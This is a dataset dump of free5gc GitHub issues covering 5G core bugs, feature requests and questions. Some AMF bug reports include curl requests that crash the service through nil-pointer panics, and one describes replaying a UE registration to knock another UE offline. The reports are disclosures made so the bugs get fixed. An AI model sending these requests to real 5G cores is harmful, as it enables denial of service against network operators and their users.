issue_owner_repo
listlengths 2
2
| issue_body
stringlengths 0
261k
⌀ | issue_title
stringlengths 1
925
| issue_comments_url
stringlengths 56
81
| issue_comments_count
int64 0
2.5k
| issue_created_at
stringlengths 20
20
| issue_updated_at
stringlengths 20
20
| issue_html_url
stringlengths 37
62
| issue_github_id
int64 387k
2.46B
| issue_number
int64 1
127k
|
|---|---|---|---|---|---|---|---|---|---|
[
"free5gc",
"free5gc"
] |
## Describe the bug
- While sending/receiving data at UL: 100Mbps / DL: 100Mbps, if the UE is detached, the UPF does not send a response to the PFCP Session Deletion Request from the SMF.
- Subsequently, responses to PFCP Session Establishment Requests are not sent, and the PDUSession cannot be established.
- When the issue occurs and the UPF is stopped (pkill upf), the following log remains output and the UPF cannot be stopped:
[INFO][UPF][PFCP][LAddr:10.245.1.11:8805] Stopping pfcp server
## To Reproduce
Steps to reproduce the behavior:
1. Establish a PDU Session.
2. Send/receive packets with UDP UL: 100Mbps / DL: 100Mbps.
3. Execute detachment while sending/receiving packets.
## Expected behavior
The UPF should send a response to the PFCP Session Deletion (Establishment) Request, but from the logs during the UPF stop, it seems that there is an abnormality such as a stack issue in the PFCP receiver.
## Environment (please complete the following information):
- free5GC Version: v3.4.2
- OS: Ubuntu 20.04.6 LTS
- Kernel version: 5.4.0-125-generic
- go version: Ubuntu go1.21.8 linux/amd64
|
[Bugs] UPF Not Responding to PFCP Session Deletion/Establishment Requests During High Data Throughput
|
https://api.github.com/repos/free5gc/free5gc/issues/590/comments
| 3 |
2024-07-27T13:47:09Z
|
2024-08-09T03:43:57Z
|
https://github.com/free5gc/free5gc/issues/590
| 2,433,487,923 | 590 |
[
"free5gc",
"free5gc"
] |
When the DELETE button on the web console is pressed, the UI shows that the data has been deleted.
However, in reality, the data that should have been deleted remains and is sent when the CREATE button is pressed.
As a result, the data that should have been deleted is added to the MongoDB table.
The data that remains and is sent in the message includes the following five items:
AccessAndMobilitySubscriptionData
SmfSelectionSubscriptionData
SmPolicyData
FlowRules
QosFlows
Additionally, this issue affects the following entries:
policyData.ues.chargingData
policyData.ues.flowRule
policyData.ues.qosFlow
subscriptionData.provisionedData.amData
To confirm the parameters sent from the web console, follow these steps:
1. Open the Chrome browser.
2. Access the web console.
3. Navigate to the relevant UI display screen.
4. Press the F12 button to open DevTools.
5. Select the Network tab (the one labeled with Sources, Network, Performance >>).
6. Select the Payload tab (the section labeled with Headers, Payload, Preview).
7. Perform the relevant test.
8. Check the message content when there is a change in the Request Payload information.
|
[Bugs]There is data sent to MongoDB when the Create button is pressed without being deleted using the Delete button in the web console
|
https://api.github.com/repos/free5gc/free5gc/issues/589/comments
| 2 |
2024-07-24T15:17:26Z
|
2024-08-09T03:44:08Z
|
https://github.com/free5gc/free5gc/issues/589
| 2,427,860,404 | 589 |
[
"free5gc",
"free5gc"
] |
The Static IP feature can be utilized by adding staticPools on the smfcfg.yaml side.
However, since it is possible to register one or more CIDRs, adding two as shown below results in the "[NO! Cause: Not in static pool …" error when the VERIFY button on the web console is pressed.
It seems that the cause is a discrepancy between the implementation and the configuration. The web console assumes only one CIDR definition, while the SMF side allows multiple entries, resulting in this issue.
[smfcfg.yaml]
dnnUpfInfoList: # DNN information list for this S-NSSAI
- dnn: internet
pools:
- cidr: 10.60.0.0/16
staticPools:
- cidr: 10.65.100.0/24
- cidr: 10.66.101.0/24 <---- Error when running VERIFY
|
[Bugs]Issue with Static IP Functionality and Multiple CIDR Entries on Webconsole VERIFY Button
|
https://api.github.com/repos/free5gc/free5gc/issues/588/comments
| 1 |
2024-07-24T14:41:04Z
|
2024-08-09T03:44:20Z
|
https://github.com/free5gc/free5gc/issues/588
| 2,427,775,898 | 588 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
The CHF is registered to the NRF, but this CHF is not running. Then the SMF will be crashed.
## To Reproduce
1. Apply diff in attached log to test_multiUPF.sh
2. Run `./test_multiUPF.sh TestULCLAndMultiUPF`
## Expected behavior
Not crash SMF
## Environment (please complete the following information):
- free5GC Version: v3.4.2
- OS: Ubuntu 20.04.6 LTS
- Kernel version: 5.15.0-116-generic
- go version: Ubuntu go1.22.5 linux/amd64
- c compiler version (Option): Ubuntu 9.4.0-1ubuntu1~20.04.2
### Log File
[SMF-crash.log](https://github.com/user-attachments/files/16344613/SMF-crash.log)
|
[Bugs] SMF crash when CHF is not running
|
https://api.github.com/repos/free5gc/free5gc/issues/587/comments
| 1 |
2024-07-23T06:37:48Z
|
2024-07-28T00:17:52Z
|
https://github.com/free5gc/free5gc/issues/587
| 2,424,377,652 | 587 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
An Event Exposure POST API request without the mandatory subscription parameter returns a 500 Internal Server Error, instead of the ideal 4xx error. The Internal Server Error is caused by a panic during null pointer dereference.
## To Reproduce
Steps to reproduce the behavior:
Run free5gc components with default config.
Check for the IP and Port for AMF component
Now give the below mentioned Event exposure API POST request to the determined IP and PORT through curl:
curl -X POST http://AMF_IP:AMF_PORT/namf-evts/v1/subscriptions HTTP/1.1\r\nAccept: application/json\r\nHost: amf:8000\r\nContent-Type: application/json\r\n\r\n{ \"fuzz\" : false }
## Expected behavior
Since the above mentioned api request misses a mandatory parameter, it should have been handled and returned a 400 Bad request.
## Screenshots
<img width="1351" alt="Screenshot 2024-07-20 at 11 21 53 AM" src="https://github.com/user-attachments/assets/3225cd1a-3b5a-475b-bc59-362b9f76f3c1">
## Environment (please complete the following information):
free5GC Version: v3.4.1
Docker images free5gc/amf:v3.4.1, free5gc/nrf:v3.4.1, mongo:latest
## Trace File
### Configuration File
Use the default configuration file.
### PCAP File
[free5gc.pcap.txt](https://github.com/user-attachments/files/16321579/free5gc.pcap.txt)
### Log File
2024-07-16T19:10:08.041273026Z [INFO][AMF][GIN] | 500 | 10.100.200.4 | POST | /namf-evts/v1/subscriptions |
2024-07-16T19:16:04.129107075Z [ERRO][AMF][GIN] panic: runtime error: invalid memory address or nil pointer dereference
goroutine 97 [running]:
runtime/debug.Stack()
/usr/local/go/src/runtime/debug/stack.go:24 +0x65
github.com/free5gc/util/logger.ginRecover.func1.1()
/go/pkg/mod/github.com/free5gc/[email protected]/logger/logger.go:284 +0x1a5
panic({0xc19600, 0x135fbc0})
/usr/local/go/src/runtime/panic.go:838 +0x207
github.com/free5gc/amf/internal/sbi/producer.CreateAMFEventSubscriptionProcedure({0x0?, {0x0?, 0xc000336060?}})
/go/src/free5gc/NFs/amf/internal/sbi/producer/event_exposure.go:40 +0xa0
github.com/free5gc/amf/internal/sbi/producer.HandleCreateAMFEventSubscription(0xc0001a6000?)
/go/src/free5gc/NFs/amf/internal/sbi/producer/event_exposure.go:17 +0x45
github.com/free5gc/amf/internal/sbi/eventexposure.HTTPCreateSubscription(0xc0001a6100)
/go/src/free5gc/NFs/amf/internal/sbi/eventexposure/api_subscriptions_collection_document.go:56 +0x299
github.com/gin-gonic/gin.(*Context).Next(...)
/go/pkg/mod/github.com/gin-gonic/[email protected]/context.go:174
github.com/free5gc/util/logger.ginRecover.func1(0xc0001a6100)
/go/pkg/mod/github.com/free5gc/[email protected]/logger/logger.go:316 +0x7b
github.com/gin-gonic/gin.(*Context).Next(...)
/go/pkg/mod/github.com/gin-gonic/[email protected]/context.go:174
github.com/free5gc/util/logger.ginToLogrus.func1(0xc0001a6100)
/go/pkg/mod/github.com/free5gc/[email protected]/logger/logger.go:251 +0x87
github.com/gin-gonic/gin.(*Context).Next(...)
/go/pkg/mod/github.com/gin-gonic/[email protected]/context.go:174
github.com/gin-gonic/gin.(*Engine).handleHTTPRequest(0xc000683520, 0xc0001a6100)
/go/pkg/mod/github.com/gin-gonic/[email protected]/gin.go:620 +0x671
github.com/gin-gonic/gin.(*Engine).ServeHTTP(0xc000683520, {0xe8a250?, 0xc0004700e0}, 0xc0001a6000)
/go/pkg/mod/github.com/gin-gonic/[email protected]/gin.go:576 +0x1dd
golang.org/x/net/http2/h2c.h2cHandler.ServeHTTP({{0xe864a0?, 0xc000683520?}, 0xc0000205a0?}, {0xe8a250, 0xc0004700e0}, 0xc0001a6000)
/go/pkg/mod/golang.org/x/[email protected]/http2/h2c/h2c.go:125 +0x59b
net/http.serverHandler.ServeHTTP({0xe88a98?}, {0xe8a250, 0xc0004700e0}, 0xc0001a6000)
/usr/local/go/src/net/http/server.go:2916 +0x43b
net/http.(*conn).serve(0xc0005a00a0, {0xe8aa48, 0xc000501260})
/usr/local/go/src/net/http/server.go:1966 +0x5d7
created by net/http.(*Server).Serve
/usr/local/go/src/net/http/server.go:3071 +0x4db
## Walkthrough (Option)
The POST method called the HTTPCreateSubscription method, which called HandleCreateAMFEventSubscription method in api_subscriptions_collection_document.go file.
In CreateAMFEventSubscriptionProcedure function, there is an attempt to dereference subscription which is a NULL pointer (a mandatory parameter which is not provided in the request)
contextEventSubscription.EventSubscription = *subscription
This raised a panic and it is logged. The response status must have been marked as 500 Internal Server Error.
Bug fix
The bug fix would be to check whether subscription is null before dereferencing it, and returns an appropriate error code if it is null.
## Additional context
An attacker can deliberately raise this panic attack posing a security risk. I'll create a pull request to fix this issue shortly.
|
[Bugs]AMF returned 500 Internal Server Error for a Event Exposure POST API request
|
https://api.github.com/repos/free5gc/free5gc/issues/586/comments
| 3 |
2024-07-20T15:53:22Z
|
2024-07-23T04:22:03Z
|
https://github.com/free5gc/free5gc/issues/586
| 2,420,953,185 | 586 |
[
"free5gc",
"free5gc"
] |
The question of using unlicensed sprectrum for mobile networks in the dedicaded ISM bands is not new.
3GPP R16 has defined for 5G how to use a few ISM sub bands like n46, n96 in good citizenship as NR-U.
Meanwhile, it is mainly a RAN question, would be the impact of NR-U support for 5GC NFs ?
|
NR-U support starting from 3GPP R16
|
https://api.github.com/repos/free5gc/free5gc/issues/585/comments
| 1 |
2024-07-17T09:53:27Z
|
2024-07-18T04:43:07Z
|
https://github.com/free5gc/free5gc/issues/585
| 2,413,168,911 | 585 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
After connecting the N3IWUE once, if it's killed trying to reconnect fails. AFAIK this happens because a XFRM interface isn't released on N3IWUE device exit and trying to recreate it results in a "file exists" error in free5GC
## To Reproduce
Steps to reproduce the behavior:
1. Install free5GC v3.4.2
2. Configure free5GC and N3IWF
3. Install n3iwue v1.0.1
4. Configure N3IWUE
5. Start free5GC with -n3iwf parameter
6. Start the N3IWUE
7. Wait until N3IWUE finishes the initial setup and ping test
8. Kill N3IWUE
9. Start the N3IWUE once again
10. N3IWF gives errors
```[ERRO][N3IWF][IKE] Set XFRM rules failed: file exists```
```[ERRO][N3IWF][IKE] Applying XFRM rules failed: Set XFRM state rule failed```
11. N3IWUE crashes with error
```[FATA][N3UE][IKE] panic: runtime error: invalid memory address or nil pointer dereference```
## Expected behavior
The N3IWUE could be able to reconnect
## Screenshots
N/A
## Environment (please complete the following information):
- free5GC Version: v3.4.2
- OS: Ubuntu Server 20.04.6
- Kernel version: 5.4.0-189-generic
- go version: go1.21.6 linux/amd64
- c compiler version (Option): 9.4.0
## Trace File
### Configuration File
[free5gc-config.zip](https://github.com/user-attachments/files/16203664/free5gc-config.zip)
[n3ue.yaml.txt](https://github.com/user-attachments/files/16203654/n3ue.yaml.txt)
### PCAP File
[n3ue.pcap.txt](https://github.com/user-attachments/files/16203661/n3ue.pcap.txt)
If really required, I can capture it on free5GC later on
### Log File
[free5gc-logs-n3iwf-error.txt](https://github.com/user-attachments/files/16203658/free5gc-logs-n3iwf-error.txt)
[n3iwue-crash-logs.txt](https://github.com/user-attachments/files/16203656/n3iwue-crash-logs.txt)
## System architecture (Option)
free5GC from scratch on VM (IP: 10.0.0.110)
N3IWUE on a separate VM (IP: 10.0.0.112)
Use case: Simulating a connection loss or temporary interference on N3IWUE
## Walkthrough (Option)
N/A
## Additional context
This issue happened in free5GC v3.4.1 and N3IWUE v1.0.0 too but I didn't have time to test and report it yet
Perhaps some signaling message could be sent to the N3IWF to release any interfaces connected to the N3IWUE on its exit. Or another measure could be taken such as in UERANSIM that doesn't have the same issue.
If free5GC/N3IWF and N3IWUE are both restarted, then N3IWUE can connect successfully again
|
[Bugs] N3IWUE fails to run twice or reconnect
|
https://api.github.com/repos/free5gc/free5gc/issues/584/comments
| 2 |
2024-07-13T21:21:19Z
|
2024-07-17T07:14:18Z
|
https://github.com/free5gc/free5gc/issues/584
| 2,407,167,765 | 584 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
When PDUSessionSMContextCreate was failed with PDUSessionEstablishmentReject GSM message, the SMF of the free5GC v3.4.1 returns this GSM message in MIME multipart.
But in the free5GC 3.4.2, this GSM message is returns in JSON object directly without MIME multipart.
Is it correct behavior?
## To Reproduce
1. Uninstall gtp5g
2. Build NFs
3. Run command `./test.sh -o TestRegistration`
## Environment (please complete the following information):
- free5GC Version: v3.4.2
- OS: Ubuntu 20.04.6 LTS
- Kernel version: 5.15.0-107-generic
- go version: go version go1.22.5 linux/amd64
- c compiler version (Option): gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0
[cap.tar.gz](https://github.com/user-attachments/files/16139173/cap.tar.gz)
|
[Bugs] Error response of PDUSessionSMContextCreate
|
https://api.github.com/repos/free5gc/free5gc/issues/583/comments
| 2 |
2024-07-09T06:49:37Z
|
2024-07-18T04:32:38Z
|
https://github.com/free5gc/free5gc/issues/583
| 2,397,299,136 | 583 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
If we try to register two UEs with the same SUPI, the first UE's context is being released after the first unauthenticated Registration Request from the second UE, instead of being released after second UE sends an Registration Request with a security context.
## To Reproduce
1. Perform a normal UE registration
2. Replay the initial UE message and registration request from the first UE registration
## Expected behavior
Instead, first UE's context should be released after second UE valid authentification response or an Registration Request with a security context, else there is a risk of DoS from unauthenticated parties.
## Screenshots
<img width="770" alt="screenshot" src="https://github.com/free5gc/free5gc/assets/103559845/b6783202-8aae-4f0d-a195-9bb2064c3d77">
## Environment (please complete the following information):
- free5GC Version: v3.4.1
- OS: Ubuntu 20.04.1 Server
- Kernel version: 5.200.0-0-generic
- go version: go1.21.8 linux/amd64
### Log File
Provide the program log file here.
<img width="431" alt="ue" src="https://github.com/free5gc/free5gc/assets/103559845/b03f2c3b-976b-4554-8252-dd4dabeaac22">
We found that the replayed UE registration request stopped the original UE from connecting to the core network.
|
[Bugs] UEs can be context released by a second UE without authentication
|
https://api.github.com/repos/free5gc/free5gc/issues/580/comments
| 6 |
2024-06-28T03:24:59Z
|
2024-08-04T23:43:25Z
|
https://github.com/free5gc/free5gc/issues/580
| 2,379,484,183 | 580 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
An Event Exposure POST API request without the mandatory subscription eventlist parameter returns a 500 Internal Server Error, instead of the ideal 4xx error. The Internal Server Error is caused by a panic during null pointer dereference.
## To Reproduce
Steps to reproduce the behavior:
1. Run free5gc components with default config.
2. Check for the IP and Port for AMF component
3. Now give the below mentioned Event exposure API POST request to the determined IP and PORT through curl:
`curl -v -H 'Content-Type: application/json' -d "{\"subscription\":{\"fuzz\":false}, \"supportedFeatures\": \"fuzzstring\"}" -X POST http://AMF_IP:AMF_PORT/namf-evts/v1/subscriptions`
## Expected behavior
Since the above mentioned api request misses a mandatory parameter, it should have been handled and returned a 400 Bad request.
## Screenshots
The attached screenshot is the AMF container logs with the panic error raised by the null pointer dereference.
## Environment (please complete the following information):
- free5GC Version: v3.4.1
- Docker images free5gc/amf:v3.4.1, free5gc/nrf:v3.4.1, mongo:latest
## Trace File
### Configuration File
Use the default configuration file.
### PCAP File
Attaching pcap file generated from `sudo tcpdump -i any -w free5gc.pcap`
[free5gcpcap.zip](https://github.com/user-attachments/files/16019418/free5gcpcap.zip)
### Log File
`2024-06-26T21:51:13.753307893Z [ERRO][AMF][GIN] panic: runtime error: invalid memory address or nil pointer dereference
goroutine 64 [running]:
runtime/debug.Stack()
/usr/local/go/src/runtime/debug/stack.go:24 +0x65
github.com/free5gc/util/logger.ginRecover.func1.1()
/go/pkg/mod/github.com/free5gc/[email protected]/logger/logger.go:284 +0x1a5
panic({0xc19600, 0x135fbc0})
/usr/local/go/src/runtime/panic.go:838 +0x207
github.com/free5gc/amf/internal/sbi/producer.CreateAMFEventSubscriptionProcedure({0xc0001d44d0?, {0xc0003b4050?, 0xc000518090?}})
/go/src/free5gc/NFs/amf/internal/sbi/producer/event_exposure.go:64 +0x249
github.com/free5gc/amf/internal/sbi/producer.HandleCreateAMFEventSubscription(0xc000152100?)
/go/src/free5gc/NFs/amf/internal/sbi/producer/event_exposure.go:17 +0x45
github.com/free5gc/amf/internal/sbi/eventexposure.HTTPCreateSubscription(0xc000152200)
/go/src/free5gc/NFs/amf/internal/sbi/eventexposure/api_subscriptions_collection_document.go:56 +0x299
github.com/gin-gonic/gin.(*Context).Next(...)
/go/pkg/mod/github.com/gin-gonic/[email protected]/context.go:174
github.com/free5gc/util/logger.ginRecover.func1(0xc000152200)
/go/pkg/mod/github.com/free5gc/[email protected]/logger/logger.go:316 +0x7b
github.com/gin-gonic/gin.(*Context).Next(...)
/go/pkg/mod/github.com/gin-gonic/[email protected]/context.go:174
github.com/free5gc/util/logger.ginToLogrus.func1(0xc000152200)
/go/pkg/mod/github.com/free5gc/[email protected]/logger/logger.go:251 +0x87
github.com/gin-gonic/gin.(*Context).Next(...)
/go/pkg/mod/github.com/gin-gonic/[email protected]/context.go:174
github.com/gin-gonic/gin.(*Engine).handleHTTPRequest(0xc000137380, 0xc000152200)
/go/pkg/mod/github.com/gin-gonic/[email protected]/gin.go:620 +0x671
github.com/gin-gonic/gin.(*Engine).ServeHTTP(0xc000137380, {0xe8a250?, 0xc00021e0e0}, 0xc000152100)
/go/pkg/mod/github.com/gin-gonic/[email protected]/gin.go:576 +0x1dd
golang.org/x/net/http2/h2c.h2cHandler.ServeHTTP({{0xe864a0?, 0xc000137380?}, 0xc000726190?}, {0xe8a250, 0xc00021e0e0}, 0xc000152100)
/go/pkg/mod/golang.org/x/[email protected]/http2/h2c/h2c.go:125 +0x59b
net/http.serverHandler.ServeHTTP({0xe88a98?}, {0xe8a250, 0xc00021e0e0}, 0xc000152100)
/usr/local/go/src/net/http/server.go:2916 +0x43b
net/http.(*conn).serve(0xc0003f2140, {0xe8aa48, 0xc00061f710})
/usr/local/go/src/net/http/server.go:1966 +0x5d7
created by net/http.(*Server).Serve
/usr/local/go/src/net/http/server.go:3071 +0x4db
2024-06-26T21:51:13.753374373Z [INFO][AMF][GIN] | 500 | 10.100.200.2 | POST | /namf-evts/v1/subscriptions |`
## Walkthrough
- The POST method called the HTTPCreateSubscription method, which called HandleCreateAMFEventSubscription method in api_subscriptions_collection_document.go file.
- In CreateAMFEventSubscriptionProcedure function, there is an attempt to dereference EventList which is a NULL pointer (a mandatory parameter which is not provided in the request)
for _, events := range *subscription.EventList {
- This raised a panic and it is logged. The response status must have been marked as 500 Internal Server Error in api_subscriptions_collection_document.go:62.
## Bug fix
- The bug fix would be to check whether EventList is null before dereferencing it, and returns an appropriate error code if it is null.
## Additional context
An attacker can deliberately raise this panic attack posing a security risk. I'll create a pull request to fix this issue shortly.
|
[Bugs] AMF returned 500 Internal Server Error for a Event Exposure POST API request
|
https://api.github.com/repos/free5gc/free5gc/issues/579/comments
| 2 |
2024-06-27T18:41:17Z
|
2024-07-02T01:47:58Z
|
https://github.com/free5gc/free5gc/issues/579
| 2,378,863,391 | 579 |
[
"free5gc",
"free5gc"
] |
Do it possible to remove "QoS rule 2" under PDU session establishment accept? or do it can be configure under yaml file? thanks
![Uploading 2024-06-24_103948.jpg…]()
|
Do it possible to remove "QoS rule 2" under PDU session establishment accept
|
https://api.github.com/repos/free5gc/free5gc/issues/578/comments
| 6 |
2024-06-24T02:41:00Z
|
2024-07-03T10:30:42Z
|
https://github.com/free5gc/free5gc/issues/578
| 2,369,074,331 | 578 |
[
"free5gc",
"free5gc"
] |
## Issue Description
Is ATSSS implemented in free5gc, or are there any plans to implement it?
### What's the version are you using
It is not in use yet.
### Is your feature request related to a problem? Please describe.
### Describe the solution you'd like
If there is a plan to develop ATSSS, I am curious when it will be.
### Describe alternatives/workarounds you've considered
### Additional context
## Issue Template Checklist
<!-- Please answer the questions below. If not the issue might be disregarded. -->
### If willing to resolve an issue by submitting Pull request, please consider the points below.
<!-- free5GC will be happy to welcome first contributor’s, in order to broaden the community. -->
- [v ] Yes, I have the time and I know how to start.
- [ ] Yes, I have the time but I don't know how to start, I would need guidance.
- [ ] No, I don't have the time, although I believe I could do it if I had the time...
- [ ] No, I don't have the time and I wouldn't even know how to start.
|
[Feat] Plans to implement ATSSS
|
https://api.github.com/repos/free5gc/free5gc/issues/577/comments
| 1 |
2024-06-21T01:33:43Z
|
2024-06-28T02:56:24Z
|
https://github.com/free5gc/free5gc/issues/577
| 2,365,527,689 | 577 |
[
"free5gc",
"free5gc"
] |
Hi,
Below is a quick summary of Ping and iPerf3 results using free5GC, UPF, and RAN/UE.
I also wrote a few notes.
https://github.com/s5uishida/simple_confirmed_info_for_mobile_network#ping-and-iperf3
FYI.
|
FYI: Quick Summary of Ping and iPerf3 results with free5GC, UPF, and RAN/UE
|
https://api.github.com/repos/free5gc/free5gc/issues/575/comments
| 0 |
2024-06-17T10:29:46Z
|
2024-06-17T10:29:46Z
|
https://github.com/free5gc/free5gc/issues/575
| 2,356,990,893 | 575 |
[
"free5gc",
"free5gc"
] |
## Issue Description
I want to start a discussion on exchanging the UPF's capabilities during the PFCP association procedure instead of setting them manually in the SMF's configuration. This is mainly about the `dnnList` and the `ifList` in the UPF config, which is duplicated inside the SMF config in the fields `dnnUpfInfoList` and `interfaces`.
The standard defines such a procedure as "N4 capability negotiation" during the association setup procedure.
As I am not involved too much in design decisions, this may have been discussed before. In this case, may I know the current status of these discussions?
### free5gc version
This is not really related to a version, but the latest as of writing (v3.4.1) still requires hardcoded UPF capabilities in the SMF.
### Is your feature request related to a problem? Please describe.
Mismatched values of the CIDR address pools inside the SMF config and the actually routable address ranges of a UPF lead to broken user planes. In such a case, no error is shown, and debugging can be really annoying.
### Describe the solution you'd like
I propose to use N4 capability negotiation during the PFCP association setup procedure and let each UPF convey its interfaces and routable DNNs with UE IPs to the SMF. This removes the duplicated values in the SMF's configuration and makes free5gc less error-prone to use.
In cases where an external UPF might not have implemented this feature, we could still allow the manual configuration, but at least the free5gc UPF should use capability negotiation.
### Describe alternatives/workarounds you've considered
A workaround could be having a separate yaml file that contains this overlapping configuration, and referencing this file from the SMF and UPFs. But in cases where the NFs run on separate machines, you again end up having multiple contradicting config files.
### Additional context
none
## Issue Template Checklist
### If willing to resolve an issue by submitting Pull request, please consider the points below.
- [ ] Yes, I have the time and I know how to start.
- [x] Yes, I have the time but I don't know how to start, I would need guidance.
- [ ] No, I don't have the time, although I believe I could do it if I had the time...
- [ ] No, I don't have the time and I wouldn't even know how to start.
At least for the SMF, I would know how to adapt the code. As for the UPF and the PFCP procedure, I might need some guidance.
|
[Feat] Exchange UPF capabilities during association (aka N4 capability negotiation)
|
https://api.github.com/repos/free5gc/free5gc/issues/573/comments
| 0 |
2024-06-03T17:11:05Z
|
2024-06-03T17:11:28Z
|
https://github.com/free5gc/free5gc/issues/573
| 2,331,658,548 | 573 |
[
"free5gc",
"free5gc"
] |
Hello,
In order to have Free5GC utilizing SMSF, AMF needs n20 and UDM needs n21 interface, right.
I do not see those interfaces being supported by Free5GC, but maybe I am missing something.
Just want to make sure it is really not supported.
Thank you.
|
[Question] Is it possible to connect SMSF to Free5GC (support for N20/21 interface)?
|
https://api.github.com/repos/free5gc/free5gc/issues/572/comments
| 4 |
2024-05-30T11:54:50Z
|
2024-05-31T10:37:13Z
|
https://github.com/free5gc/free5gc/issues/572
| 2,325,494,014 | 572 |
[
"free5gc",
"free5gc"
] |
**If the design issue template is not followed, the issue might be closed.**
<!-- Remove above warning line while reporting the issue -->
## Issue Description
I would like to test the URSP on the UE, and I need the "DL NAS Transport" with "UE policy container" that sent from PCF to UE through the AMF
The URSP is defined in 3GPP TS 24.526
### What's the version are you using
Please describe the free5GC version using. If possible, the package, device or emulator description will be very supportive.
V3.4.1
### Is your feature request related to a problem? Please describe.
A clear and concise description of what the problem might be. For instance, I'm always frustrated when [...]
### Describe the solution you'd like
A clear and concise description of what is expected. How can the requested feature be used to approach the problem it's supposed to solve?
This feature should be designed in PCF, and it's very convenient if the webui could configure the URSP rules for a UE.
### Describe alternatives/workarounds you've considered
A clear and concise description of any alternative solutions or features considering. It will be highly appreciated, if existing workaround knowledge can be shared.
### Additional context
Please include additional context or screenshots on feature request.
## Issue Template Checklist
<!-- Please answer the questions below. If not the issue might be disregarded. -->
### If willing to resolve an issue by submitting Pull request, please consider the points below.
<!-- free5GC will be happy to welcome first contributor’s, in order to broaden the community. -->
- [ ] Yes, I have the time but I don't know how to start, I would need guidance.
|
[Feat]Support URSP (User Router Selection Policy) allocated by PCF to UE
|
https://api.github.com/repos/free5gc/free5gc/issues/571/comments
| 1 |
2024-05-29T09:08:06Z
|
2024-06-27T07:32:08Z
|
https://github.com/free5gc/free5gc/issues/571
| 2,322,786,578 | 571 |
[
"free5gc",
"free5gc"
] |
您好，目前运行可以和AMF建立SCTP连接并注册，但是想测试PDU会话建立，请问需要怎么测试？
|
请问怎么测试N3iwf这个网元
|
https://api.github.com/repos/free5gc/free5gc/issues/570/comments
| 2 |
2024-05-28T10:02:34Z
|
2024-05-29T09:00:26Z
|
https://github.com/free5gc/free5gc/issues/570
| 2,320,647,087 | 570 |
[
"free5gc",
"free5gc"
] |
**We will advise people to follow the issue template set, otherwise the issue might be disregarded.**
**free5GC mainly uses GitHub for issue tracking. Information regarding to general questions or technical support. It will be highly considered if forward to the [forum](https://forum.free5gc.org).**
**free5GC will appreciate it, if people can refer to [TS](https://github.com/free5gc/free5gc/wiki/Trouble_Shooting) and [forum](https://forum.free5gc.org) prior to bug reporting**
<!-- Remove warning (above 3 lines) while reporting the issue -->
## Describe the bug
I am getting N1N2 Transfer fail while running 45K UE from HP Packer rusher (UE simulator) in a loop.
## To Reproduce
Steps to reproduce the behavior:
1. Setup 5GC with ./run.sh
2. Run packet rusher command ./PacketRusher/packetrusher multi-ue -n 45000 -l
3. Please make sure you do the below setting before execution both at UE and 5GCORE
sudo echo 268435455 > /proc/sys/net/core/wmem_max
#sudo echo 268435455 > /proc/sys/net/core/wmem_max
#sudo echo 268435455 > /proc/sys/net/core/rmem_max
#sudo echo 268435455 > /proc/sys/net/core/wmem_default
#sudo echo 268435455 > /proc/sys/net/core/rmem_default
#sudo echo 20000000 > /proc/sys/net/core/netdev_max_backlog
4. This behaviour can reproduced in lower number of UE too.
[Uploading free5gc.zip…]()
## Expected behavior
it should continuously run in loop without any issue.
## Screenshots
If applicable, add screenshots to help explain the problem.
## Environment (please complete the following information):
- free5GC Version: [e.g. v3.0.100]
- OS: [e.g. Ubuntu 200.04 Server]
- Kernel version: [e.g. 5.200.0-0-generic]
- go version: [e.g. 1.10.0 linux/amd64]
- c compiler version (Option): [e.g. gcc version 1.1.0]
## Trace File
### Configuration File
Provide the configuration file here.
If not clear of what to do, the `config` folder can be zip and upload it here.
### PCAP File
Dump the packet and provide the pcap file here.
If not clear of what to do, this command can be used `sudo tcpdump -i any -w free5gc.pcap` prior to running bug reproduce. Then upload the pcap file `free5gc.pcap`.
### Log File
Provide the program log file here.
If not clear of what to do, copy the printed log on the screen and upload it here.
## System architecture (Option)
Please provide the draft architecture, including the scenario, use cases, installation environment(bare metal, vm, container, or k8s), etc.
## Walkthrough (Option)
free5GC will be interested on the research or finding in brief.
## Additional context
It will be appreciated if other context can be added here.
|
[Bugs] N1N2 Transfer Fail while testing 45K UE in a loop .
|
https://api.github.com/repos/free5gc/free5gc/issues/569/comments
| 11 |
2024-05-23T09:06:52Z
|
2024-06-30T16:19:24Z
|
https://github.com/free5gc/free5gc/issues/569
| 2,312,375,020 | 569 |
[
"free5gc",
"free5gc"
] |
<!-- Remove above warning line while reporting the issue -->
## Issue Description
### What's the version are you using
free5gc v3.3.0, ubuntu20.04 VirtualBox VM
### Is your feature request related to a problem? Please describe.
This feature is related to [issue0](https://forum.free5gc.org/t/qos-enforcement-implemenation-in-upf-gtp/2009/2) and [issue1](https://github.com/free5gc/free5gc/issues/295)
### Describe the solution you'd like
Is it possible to include link layer (layer2) functionality in the "upfgtp" interface? Since it is possible to have [QoS enforcement](https://docs.openvswitch.org/en/latest/topics/dpdk/qos/) based on Open vSwitch (maximum bit-rate, guaranteed bit-rate, and priority), I am thinking of connecting OvS between the upfgtp and kernel space. Openflow currently does not support GPRS and I need to place OvS between the N3 interface and the UPF to let it process traffic effectively with the help of OpenFlow.
However, upfgtp is a "raw IP socket" and seems not to have a link layer and can't be detected or controlled by OvS.
I am trying to do this because I can have flows switching between different QoS queues (slices, if queue configurations can be controlled from SMF) without reconnecting UE.
### Describe alternatives/workarounds you've considered
1. connecting OvS on the N6 interface to enforce traffic shaping (it won't be able to differentiate traffic between UEs)
2. replacing gtp5g altogether with [OvS gtpu](https://gruyaume.medium.com/tutorial-create-a-gtp-u-tunnel-in-ubuntu-using-ovs-a4ac5df1d3dd) (UPF can't establish control over this tunnel, this gtpu has link layer but it's IFLA_INFO_KIND is 'tun' instead of 'gtp5g')
3. if [gtp5g](https://github.com/free5gc/gtp5g) supports switching between QoS queues without reconnecting. Even better if it supports reconfiguring and enforcing QoS parameters to a single queue/slice without UE reconnecting.
### Additional context
packages exiting upfgtp seem to have no link layer:
upfgtp is a "raw IP" at link layer:
## Issue Template Checklist
<!-- Please answer the questions below. If not the issue might be disregarded. -->
### If willing to resolve an issue by submitting Pull request, please consider the points below.
<!-- free5GC will be happy to welcome first contributor’s, in order to broaden the community. -->
- [ ] Yes, I have the time and I know how to start.
